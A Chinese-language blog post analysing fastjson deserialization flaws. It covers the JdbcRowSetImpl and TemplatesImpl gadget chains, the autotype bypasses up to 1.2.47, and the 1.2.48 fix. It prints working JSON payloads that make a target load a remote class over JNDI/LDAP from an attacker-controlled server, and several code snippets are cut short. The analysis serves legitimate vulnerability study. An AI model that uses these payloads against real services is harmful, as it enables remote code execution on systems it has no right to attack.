前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:
简述与使用Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。 本文涉及相关实验:Fastjson反序列化漏洞(fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。) 项目地址:https://github.com/alibaba/fastjson 环境直接maven: <dependencies> 首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类: package org.example; Main: public static void main(String[] args) { 运行后得到了如下结果: [1]================ 很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。 在上述反序列化过程中需要多添加一个class类的参数: 而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。 给序列化过程的函数指定第二个参数: JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName); 此时能够得到一个指定了type的json串: {"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"} 再对其反序列化时就无需再指定对应的类了: Object jsonTest1 = JSON.parseObject(str); 当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。 反序列化过程先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。 首先进入到JSON.class中: 接着进入parse函数中: public static Object parse(String text) { 使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入: public static Object parse(String text, int features) { 其构造器中有如下: int ch = lexer.getCurrent(); 其会根据对应的 [ 其中对于字符串的还有如下对于双字节字符的处理: \u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了总结: \0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\ 这一个点其实可以用在某些filter的绕过上。 继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类: 之后会从mappings中尝试取出class类(mappings中存放的是一些内置类): 如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。 接着进行反序列化: ObjectDeserializer deserializer = this.config.getDeserializer(clazz); 一路跟去会有一个denyList: 这一个list默认情况下只有一个Thread类: this.denyList = new String[]{"java.lang.Thread"}; 最后会去调用到set方法。 1.2.22-1.2.24这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。 JdbcRowSetImpl首先该链有两种利用方式:RMI+JNDI和RMI+LDAP 其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考: https://www./column/207439.html 前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下: public static void main(String[] args) { 直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点: 直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点: 同样进入else,关键在于这里的connect调用了lookup: 最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。 Templateslmpl前面的链就不跟了,体力活,主要是了解其原理,具体可以看看: https://www.cnblogs.com/afanti/p/10193158.html https://xz.aliyun.com/t/8979#toc-6 payload我参考的是上面第二个链接,此处截取部分方便理解: {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"} 默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。 首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于 因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。 跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了: 但method的来源还需要追究一下。 经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键: 在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码: 同样位于build函数下有一段获取getter的代码: 其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll: Map map = (Map)method.invoke(object); 也就说如果一个json串: {"@type": "xxx.xxx", "hhhm": {"key": "value"}} 会需要将 跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在: AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 经过一系列调用最后就到了TEMPOC中执行到RCE: BasicDataSource省赛遇到的一道题才知道原来还有这条链,先mark下: http://blog./fastjson-basicdatasource-attack-chain-0521/ 该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。 1.2.25-1.2.45部分绕过直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复: //1.2.24 autoTypeSupport默认修改为false: 需要通过如下方式开启: ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 并且有一个denylist,来过滤掉前面用到的链中的类: 部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052 这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。 1.2.25-1.2.41 {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} 1.2.25-1.2.42 {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} 1.2.25-1.2.43 {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true} 1.2.25-1.2.45 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本 payload: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}} 1.2.25-1.2.47这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。 该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。 payload: { 前面提到在checkAutoType中有这么一个if: if (this.autoTypeSupport || expectClass != null) 因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面: 这里的deserializers.findClass比较关键: 此处的this.buckets会发现其内置了很多的类,如: 那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。 偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法: 白名单中的类都在此处。 比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下: deserializer#deserialze 此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类: Class<?> clazz = (Class)mappings.get(className); 在取不到时会调用类加载器去加载类,此时就取到了 之后最致命的操作就是: mappings.put(className, clazz); 将 他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。 开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。 而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false: if (cache) { mappings.put(className, clazz); } 此时就不会将class类装载进缓存中了。 |
|